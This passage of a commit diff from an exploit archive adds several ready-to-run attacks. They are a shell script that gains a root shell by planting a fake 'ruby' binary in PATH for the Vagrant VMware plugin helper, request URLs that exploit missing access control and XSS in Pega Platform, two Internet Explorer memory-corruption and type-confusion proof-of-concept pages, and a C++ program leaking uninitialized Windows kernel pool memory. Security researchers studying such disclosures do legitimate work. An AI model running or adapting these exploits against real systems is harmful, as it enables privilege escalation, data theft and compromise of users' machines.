if [ "$vuln_bin" == "" ] ; then
|
||||
echo "Vulnerable binary not found."
|
||||
exit 1
|
||||
fi
|
||||
|
||||
dir=`dirname "$vuln_bin"`
|
||||
|
||||
cd "$dir"
|
||||
|
||||
cat > ruby <<EOF
|
||||
#!/bin/bash
|
||||
echo
|
||||
echo "************************************************************************"
|
||||
echo "* Depressingly trivial local root privesc in the vagrant vmware_fusion *"
|
||||
echo "* plugin, by m4rkw *"
|
||||
echo "************************************************************************"
|
||||
echo
|
||||
echo "Shout out to #coolkids o/"
|
||||
echo
|
||||
bash
|
||||
exit 0
|
||||
EOF
|
||||
|
||||
chmod 755 ruby
|
||||
|
||||
VAGRANT_INSTALLER_EMBEDDED_DIR="~/.vagrant.d/" PATH=".:$PATH" ./vagrant_vmware_desktop_sudo_helper_wrapper_darwin_amd64
|
||||
|
||||
--------------------------------------------------------------------------
|
||||
89
platforms/multiple/webapps/42335.txt
Executable file
89
platforms/multiple/webapps/42335.txt
Executable file
|
|
@ -0,0 +1,89 @@
|
|||
Summary
|
||||
=======
|
||||
1. Missing access control (CVE-2017-11356)
|
||||
2. Multiple cross-site scripting (CVE-2017-11355)
|
||||
|
||||
|
||||
Vendor
|
||||
======
|
||||
"Pegasystems Inc. is the leader in software for customer engagement and
|
||||
operational excellence. Pega’s adaptive, cloud-architected software – built
|
||||
on its unified Pega® Platform – empowers people to rapidly deploy, and
|
||||
easily extend and change applications to meet strategic business needs.
|
||||
Over its 30-year history, Pega has delivered award-winning capabilities in
|
||||
CRM and BPM, powered by advanced artificial intelligence and robotic
|
||||
automation, to help the world’s leading brands achieve breakthrough
|
||||
business results."
|
||||
|
||||
https://www.pega.com/about
|
||||
|
||||
|
||||
Tested version
|
||||
==============
|
||||
PEGA Platform <= 7.2 ML0
|
||||
|
||||
|
||||
Vulnerabilities and PoC
|
||||
=======================
|
||||
1. Missing access control on the application distribution export
|
||||
functionality (CVE-2017-11356)
|
||||
|
||||
Low privileged users can directly access the administrator resources to
|
||||
download a full compressed file with configurations and files of the
|
||||
platform, a 300MB compressed file was downloaded in a production
|
||||
environment.
|
||||
|
||||
Affected components could be found on the PEGA Designer Studio through the
|
||||
"Application > Distribution > Export" path.
|
||||
|
||||
To exploit this vulnerability the following requests must be made:
|
||||
|
||||
1.1 Export Mode: By application
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Rule-Application.pzLPPerformAppExport&ApplicationName=APPNAME&ApplicationVersion=VERSION
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/ServiceExport/APPNAME_VERSION_DATE_GMT.zip
|
||||
|
||||
1.2 Export Mode: By RuleSet/Version
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName=configurations.zip&pyRuleSet=APPNAME&pyRuleSetVersion=VERSION&pyAppContext=&PageName=pyZipMoveRuleSets
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/ServiceExport/configurations.zip
|
||||
|
||||
1.3 Export Mode: By Product
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Rule-Admin-Product.RunBatchReq&ZipFileName=configurations.zip&ProductKey=RULE-ADMIN-PRODUCT%20APPNAME%20DATE%20GMT
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/ServiceExport/configurations.zip
|
||||
|
||||
1.4 Archive On Server
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=@baseclass.DownloadFile&FileName=FILENAME
|
||||
|
||||
|
||||
2. Multiple cross-site scripting (CVE-2017-11355)
|
||||
|
||||
2.1 Main page
|
||||
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/![XSS]
|
||||
|
||||
2.2 JavaBean viewer
|
||||
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Data-Admin-IS-.JavaBeanViewer&beanReference=[XSS]
|
||||
|
||||
2.3 System database schema modification
|
||||
|
||||
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Data-Admin-DB-Table.DBSchema_ListClassesInTable
|
||||
POST:
|
||||
pzFromFrame=&pzUseThread=&pzTransactionId=&pzPrimaryPageName=pyDbSchemaTablesList&pyDatabaseName=PegaDATA&pyTableName=[XSS]
|
||||
|
||||
|
||||
Variables
|
||||
=========
|
||||
PEGASERVER: IP/domain of the platform installation.
|
||||
RANDOMTOKEN: random token generated per installation, it is random but
|
||||
known to the user.
|
||||
APPNAME: name of the application.
|
||||
VERSION: application version.
|
||||
FILENAME: physical filename of the backup.
|
||||
DATE: current date of the request.
|
||||
|
||||
|
||||
Timeline
|
||||
========
|
||||
01/06/2017: Vendor is notified through support and security email
|
||||
07/06/2017: CERT/CC contacted, vulnerabilities are not coordinated
|
||||
17/07/2017: No response from vendor, CVE assigned, full disclosure
|
||||
67
platforms/windows/dos/42336.html
Executable file
67
platforms/windows/dos/42336.html
Executable file
|
|
@ -0,0 +1,67 @@
|
|||
<!--
|
||||
There is a memory corruption issue in IE that can be triggered with svg <use> element.
|
||||
|
||||
The bug was confirmed on IE Version 11.0.9600.18617 (Update Version 11.0.40) running on Windows 7 64-bit. I was unable to reproduce it on Windows 10.
|
||||
|
||||
PoC:
|
||||
|
||||
==========================================
|
||||
-->
|
||||
|
||||
<!-- saved from url=(0014)about:internet -->
|
||||
<script>
|
||||
function go() {
|
||||
setTimeout("window.location.reload()",100);
|
||||
pattern.replaceChild(use,pattern.childNodes[0]);
|
||||
}
|
||||
</script>
|
||||
<body onload=go()>
|
||||
<!--this is a comment-->
|
||||
<svg>
|
||||
<use id="use" xlink:href="#fecomp">
|
||||
<symbol>
|
||||
<feComposite id="fecomp" />
|
||||
</use>
|
||||
<pattern id="pattern">
|
||||
<foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><output>2)lt</output>
|
||||
|
||||
<!--
|
||||
==========================================
|
||||
|
||||
Following is the crash log when the PoC is ran on 64-bit IE in the single process mode (TabProcGrowth=0).
|
||||
|
||||
(1a38.2a98): Access violation - code c0000005 (first chance)
|
||||
First chance exceptions are reported before any exception handling.
|
||||
This exception may be expected and handled.
|
||||
MSHTML!CMarkup::DestroySplayTree+0x10a:
|
||||
000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????
|
||||
0:013> r
|
||||
rax=0000000012a69010 rbx=0000000012a68c78 rcx=00000000700400c6
|
||||
rdx=0000000000000001 rsi=0000000012a68f20 rdi=0000000012a58000
|
||||
rip=000007fee8de2723 rsp=0000000012d9bfb0 rbp=0000000012d9c029
|
||||
r8=0000000000000000 r9=0000000012a58000 r10=0000000012a20000
|
||||
r11=0000000000000025 r12=0000000012a68f20 r13=0000000012a68f20
|
||||
r14=0000000012a20000 r15=0000000012a68bb0
|
||||
iopl=0 nv up ei pl zr na po nc
|
||||
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
|
||||
MSHTML!CMarkup::DestroySplayTree+0x10a:
|
||||
000007fe`e8de2723 48894110 mov qword ptr [rcx+10h],rax ds:00000000`700400d6=????????????????
|
||||
0:013> k
|
||||
# Child-SP RetAddr Call Site
|
||||
00 00000000`12d9bfb0 000007fe`e8de1ddc MSHTML!CMarkup::DestroySplayTree+0x10a
|
||||
01 00000000`12d9c090 000007fe`e8ec9289 MSHTML!CMarkup::UnloadContents+0x49b
|
||||
02 00000000`12d9c170 000007fe`e8ec9171 MSHTML!CMarkup::TearDownMarkupHelper+0xd5
|
||||
03 00000000`12d9c1a0 000007fe`e90788b2 MSHTML!CMarkup::TearDownMarkup+0x75
|
||||
04 00000000`12d9c1f0 000007fe`e998dc7a MSHTML!COmWindowProxy::SwitchMarkup+0x562
|
||||
05 00000000`12d9c360 000007fe`e969ce9f MSHTML!COmWindowProxy::ExecRefresh+0xa3a
|
||||
06 00000000`12d9c500 000007fe`e8d99d75 MSHTML!GlobalWndOnMethodCall+0x240
|
||||
07 00000000`12d9c5a0 00000000`76dd9bbd MSHTML!GlobalWndProc+0x150
|
||||
08 00000000`12d9c620 00000000`76dd98c2 USER32!UserCallWinProcCheckWow+0x1ad
|
||||
09 00000000`12d9c6e0 000007fe`f2f83395 USER32!DispatchMessageWorker+0x3b5
|
||||
0a 00000000`12d9c760 000007fe`f2f7df5b IEFRAME!CTabWindow::_TabWindowThreadProc+0x555
|
||||
0b 00000000`12d9f9e0 000007fe`fd09572f IEFRAME!LCIETab_ThreadProc+0x3a3
|
||||
0c 00000000`12d9fb10 000007fe`f0b7925f iertutil!Microsoft::WRL::ActivationFactory<Microsoft::WRL::Implements<Microsoft::WRL::FtmBase,Windows::Foundation::IUriRuntimeClassFactory,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil,Microsoft::WRL::Details::Nil>,Windows::Foundation::IUriEscapeStatics,Microsoft::WRL::Details::Nil,0>::GetTrustLevel+0x5f
|
||||
0d 00000000`12d9fb40 00000000`76ed59cd IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
|
||||
0e 00000000`12d9fb90 00000000`7700a561 kernel32!BaseThreadInitThunk+0xd
|
||||
0f 00000000`12d9fbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x1d
|
||||
-->
|
||||
75
platforms/windows/dos/42337.html
Executable file
75
platforms/windows/dos/42337.html
Executable file
|
|
@ -0,0 +1,75 @@
|
|||
<!--
|
||||
There is a type confusion issue related to how some arithmetic operations are performed in VBScript.
|
||||
|
||||
To illustrate, see the following simplified code of VbsVarMod
|
||||
|
||||
static unsigned char result_lookup_table[18][18] = {...}
|
||||
|
||||
void VbsVarMod(VAR *v1, VAR *v2) {
|
||||
VAR *arith_v1 = v1->PvarGetArithVal();
|
||||
VAR *arith_v2 = v2->PvarGetArithVal();
|
||||
int result_type = result_lookup_table[v1->vartype][v2->vartype];
|
||||
|
||||
if(result_type == 10) {
|
||||
RaiseError(...);
|
||||
}
|
||||
|
||||
if(result_type == 2) {
|
||||
...
|
||||
} else if(result_type == 3) {
|
||||
...
|
||||
} else if(result_type == 4) {
|
||||
...
|
||||
}
|
||||
v1->vartype = result_type;
|
||||
}
|
||||
|
||||
where the logic for VAR::PvarGetArithVal is roughly
|
||||
|
||||
VAR *VAR::PvarGetArithVal() {
|
||||
VAR *result = this->PvarGetVarVal()
|
||||
if(result->vartype > 17) RaiseError(...);
|
||||
}
|
||||
|
||||
The VbsVarMod function (as well as many other arithmetic functions) first gets the arithmetic values of input variables and then uses the lookup table to determine the result type. PvarGetArithVal tries to ensure that the vartypes of input will be <18 so the lookup table won't be accessed out-of-bounds.
|
||||
|
||||
The problem is that the call to v2->PvarGetArithVal() can run arbitrary script which can change the type of arith_v1. If we change v1 to an array (which typically has vartype of 8192), suddenly there will be an out-of-bound access when looking up the result type and the result type can become unexpected. In case of VbsVarMod() if the result type is not 10(Error),2(Integer),3(Long) or 4(single), the function will simply assign the result type to the result variable (v1), while the actual data will remain unchanged. This causes a type confusion in v1.
|
||||
|
||||
Which result type an attacker can select depends on the build of vbscript.dll. On 64-bit Windows 10 in IE Version 11.1066.14393.0 (Update version 11.0.41) I managed to set the result type to 5 (Double) which causes a heap pointer leak (see the attached screenshots) as the pointer inside v1 will be treated as a double value.
|
||||
|
||||
However, if an attacker was lucky and managed to select as result_type something that contains a pointer (Such as a String or an Object) this could result in a type confusion with a more serious impact (a larger info leak in case of a String and possibly RCE in case of an Object).
|
||||
|
||||
There might also be a possibilty to use invalid return type values >=18 as a trampoline, i.e. feed them back into VbsVarMod to reach more useful types, but I haven't tried this.
|
||||
|
||||
This issue is not limited to VbsVarMod and affects other arithmetic functions that call PvarGetArithVal and use a result lookup table as well (specifically: VbsVarAdd, VbsVarSub, VbsVarMul, VbsVarDiv, VbsVarIDiv, VbsVarPow) to a varying degree of exploitability (depending on how aggressive checks on the result type they make). One way to fix this in the affected functions is to do a check for vartype<18 only after both variables have been read.
|
||||
|
||||
PoC
|
||||
|
||||
===================================================
|
||||
-->
|
||||
|
||||
<!-- saved from url=(0014)about:internet -->
|
||||
<meta http-equiv="x-ua-compatible" content="IE=10">
|
||||
<script type="text/vbscript">
|
||||
|
||||
Dim a
|
||||
Dim c
|
||||
|
||||
a = 1
|
||||
|
||||
Class class1
|
||||
Public Default Property Get x
|
||||
' msgbox "in default property"
|
||||
a = Array(1)
|
||||
x = CLng(1)
|
||||
End Property
|
||||
End Class
|
||||
|
||||
set b = new class1
|
||||
c = a mod b
|
||||
|
||||
document.write("returned type: " & VarType(c))
|
||||
document.write("<br>")
|
||||
document.write("returned value: " & c)
|
||||
|
||||
</script>
|
||||
191
platforms/windows/dos/42338.cpp
Executable file
191
platforms/windows/dos/42338.cpp
Executable file
|
|
@ -0,0 +1,191 @@
|
|||
/*
|
||||
We have discovered that the handler of the 0x120007 IOCTL in nsiproxy.sys (\\.\Nsi device) discloses portions of uninitialized pool memory to user-mode clients, likely due to output structure alignment holes.
|
||||
|
||||
On our test Windows 7 32-bit workstation, an example layout of the output buffer is as follows:
|
||||
|
||||
--- cut ---
|
||||
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ................
|
||||
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000090: 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 ................
|
||||
000000a0: 00 00 00 00 ff 00 ff ff 00 00 00 00 ff ff ff ff ................
|
||||
000000b0: 00 00 00 00 00 00 00 00 ........
|
||||
--- cut ---
|
||||
|
||||
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As can be seen, a total of 13 bytes (out of 184) scattered across the structure are disclosed to the client application. The bug manifests itself through a call to the undocumented NSI!NsiGetParameter userland function, in the same fashion that it is called in WSDApi!CWSDInterfaceTable::GetInterfaceProfiles:
|
||||
|
||||
--- cut ---
|
||||
.text:6EA52AFF push eax
|
||||
.text:6EA52B00 push ebx
|
||||
.text:6EA52B01 lea eax, [ebp+var_BC]
|
||||
.text:6EA52B07 push eax
|
||||
.text:6EA52B08 push 0
|
||||
.text:6EA52B0A push 8
|
||||
.text:6EA52B0C lea eax, [ebp+InterfaceLuid]
|
||||
.text:6EA52B12 push eax
|
||||
.text:6EA52B13 push 7
|
||||
.text:6EA52B15 push offset _NPI_MS_IPV4_MODULEID
|
||||
.text:6EA52B1A push 1
|
||||
.text:6EA52B1C call _NsiGetParameter@36 ; NsiGetParameter(x,x,x,x,x,x,x,x,x)
|
||||
--- cut ---
|
||||
|
||||
The issue can be reproduced by running the attached proof-of-concept program on a system with the Special Pools mechanism enabled for netio.sys. Then, it is clearly visible that bytes at the aforementioned offsets are equal to the markers inserted by Special Pools (0x3d or '=' in this case), and would otherwise contain leftover data that was previously stored in that memory region:
|
||||
|
||||
--- cut ---
|
||||
Number of Adapters: 1
|
||||
|
||||
Adapter Index[0]: 11
|
||||
00000000: 00 00 00 00 00 01 01 00 00 00 01 01 00[3d 3d 3d].............===
|
||||
00000010: 00 00 00 00 02 00 00 00 00 00 00 00 0a 00 00 00 ................
|
||||
00000020: 30 75 00 00 e8 03 00 00 c0 27 09 00 03 00 00 00 0u.......'......
|
||||
00000030: 01 00 00 00 64 19 00 00 0b 00 00 00 0b 00 00 00 ....d...........
|
||||
00000040: 0b 00 00 00 0b 00 00 00 01 00 00 00 01 00 00 00 ................
|
||||
00000050: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................
|
||||
00000060: 01 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 ................
|
||||
00000070: 00 00 00 00 01 00 00 00 dc 05 00 00 40 00 00 00 ............@...
|
||||
00000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
|
||||
00000090: 00 00 00 00 00 00 00 00 00[3d 3d 3d]08 07 00 00 .........===....
|
||||
000000a0: 01 00 00 00[3d]00[3d 3d]00 00 00 00[3d 3d 3d 3d]....=.==....====
|
||||
000000b0: 6b 0a 34 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? k.4.............
|
||||
--- cut ---
|
||||
|
||||
At least one local network adapter must be installed on the tested machine to observe the bug. The PoC source code is based on the code sample from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx (in order to list network interfaces) and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp (in order to resolve and call NSI!NsiGetParameter).
|
||||
|
||||
Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
|
||||
*/
|
||||
|
||||
// Based on example code from https://msdn.microsoft.com/en-us/library/windows/desktop/aa365947(v=vs.85).aspx
|
||||
// and http://www.nynaeve.net/Code/GetInterfaceMetric.cpp.
|
||||
|
||||
#include <winsock2.h>
|
||||
#include <ws2ipdef.h>
|
||||
#include <iphlpapi.h>
|
||||
#include <stdio.h>
|
||||
#include <objbase.h>
|
||||
|
||||
#pragma comment(lib, "iphlpapi.lib")
|
||||
#pragma comment(lib, "Ole32.lib")
|
||||
|
||||
#define MALLOC(x) HeapAlloc(GetProcessHeap(), 0, (x))
|
||||
#define FREE(x) HeapFree(GetProcessHeap(), 0, (x))
|
||||
|
||||
/* Note: could also use malloc() and free() */
|
||||
|
||||
//
|
||||
// Suspected prototype of NsiGetParameter, via reverse engineering.
|
||||
//
|
||||
|
||||
typedef DWORD (__stdcall *NsiGetParameterProc)(
|
||||
DWORD Argument1,
|
||||
CONST UCHAR* Argument2,
|
||||
DWORD Argument3,
|
||||
PNET_LUID Argument4,
|
||||
DWORD Argument5,
|
||||
DWORD Argument6,
|
||||
PUCHAR Argument7,
|
||||
DWORD Argument8,
|
||||
DWORD Argument9
|
||||
);
|
||||
|
||||
/*
|
||||
0:000> db NPI_MS_IPV4_MODULEID l14
|
||||
751b3364 18 00 00 00 01 00 00 00-00 4a 00 eb 1a 9b d4 11
|
||||
751b3374 91 23 00 50 04 77 59 BC
|
||||
*/
|
||||
|
||||
const unsigned char NPI_MS_IPV4_MODULEID[0x18] =
|
||||
{
|
||||
0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x4A, 0x00, 0xEB, 0x1A, 0x9B, 0xD4, 0x11,
|
||||
0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xBC
|
||||
};
|
||||
|
||||
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
|
||||
for (ULONG i = 0; i < dwBytes; i += 16) {
|
||||
printf("%.8x: ", i);
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes) {
|
||||
printf("%.2x ", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf("?? ");
|
||||
}
|
||||
}
|
||||
|
||||
for (ULONG j = 0; j < 16; j++) {
|
||||
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
|
||||
printf("%c", Data[i + j]);
|
||||
}
|
||||
else {
|
||||
printf(".");
|
||||
}
|
||||
}
|
||||
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
HMODULE hNsi = LoadLibraryW(L"Nsi.dll");
|
||||
NsiGetParameterProc _NsiGetParameter = (NsiGetParameterProc)GetProcAddress(hNsi, "NsiGetParameter");
|
||||
|
||||
// Declare and initialize variables
|
||||
PIP_INTERFACE_INFO pInfo = NULL;
|
||||
ULONG ulOutBufLen = 0;
|
||||
|
||||
DWORD dwRetVal = 0;
|
||||
int iReturn = 1;
|
||||
|
||||
int i;
|
||||
|
||||
// Make an initial call to GetInterfaceInfo to get
|
||||
// the necessary size in the ulOutBufLen variable
|
||||
dwRetVal = GetInterfaceInfo(NULL, &ulOutBufLen);
|
||||
if (dwRetVal == ERROR_INSUFFICIENT_BUFFER) {
|
||||
pInfo = (IP_INTERFACE_INFO *)MALLOC(ulOutBufLen);
|
||||
if (pInfo == NULL) {
|
||||
printf
|
||||
("Unable to allocate memory needed to call GetInterfaceInfo\n");
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
// Make a second call to GetInterfaceInfo to get
|
||||
// the actual data we need
|
||||
dwRetVal = GetInterfaceInfo(pInfo, &ulOutBufLen);
|
||||
if (dwRetVal == NO_ERROR) {
|
||||
printf("Number of Adapters: %ld\n\n", pInfo->NumAdapters);
|
||||
for (i = 0; i < pInfo->NumAdapters; i++) {
|
||||
printf("Adapter Index[%d]: %ld\n", i,
|
||||
pInfo->Adapter[i].Index);
|
||||
|
||||
NET_LUID Luid;
|
||||
NETIO_STATUS st = ConvertInterfaceIndexToLuid(pInfo->Adapter[i].Index, &Luid);
|
||||
if (st == NO_ERROR) {
|
||||
BYTE OutputBuffer[0xB8] = { /* zero padding */ };
|
||||
DWORD nsi_st = _NsiGetParameter(1, NPI_MS_IPV4_MODULEID, 7, &Luid, sizeof(Luid), 0, OutputBuffer, sizeof(OutputBuffer), 0);
|
||||
if (nsi_st == NO_ERROR) {
|
||||
PrintHex(OutputBuffer, sizeof(OutputBuffer));
|
||||
}
|
||||
}
|
||||
}
|
||||
iReturn = 0;
|
||||
}
|
||||
else if (dwRetVal == ERROR_NO_DATA) {
|
||||
printf
|
||||
("There are no network adapters with IPv4 enabled on the local system\n");
|
||||
iReturn = 0;
|
||||
}
|
||||
else {
|
||||
printf("GetInterfaceInfo failed with error: %d\n", dwRetVal);
|
||||
iReturn = 1;
|
||||
}
|
||||
|
||||
FREE(pInfo);
|
||||
return (iReturn);
|
||||
}
|
||||
Loading…
Add table
Reference in a new issue